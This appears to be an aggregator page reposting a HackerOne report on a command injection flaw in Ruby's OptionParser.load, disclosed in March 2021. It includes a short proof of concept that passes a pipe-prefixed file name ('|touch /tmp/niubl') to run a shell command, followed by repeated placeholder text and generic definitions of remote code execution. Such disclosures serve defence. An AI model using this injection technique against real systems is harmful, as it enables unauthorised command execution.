Command injection in OptionParser.load
- Disclosed after 36 days
OptionParser.load function use IO.readlines to read file, which can inject | command to exec command.
poc:
require 'optparse'
OptionParser.new do |opts|
opts.load("|touch /tmp/niubl")
end.parse!
Impact
The command may be executed unintentionally.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A low-severity RCE bug in https://github.com/ruby/ruby. HackerOne made it public on 7 March 2021.
About RCE
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.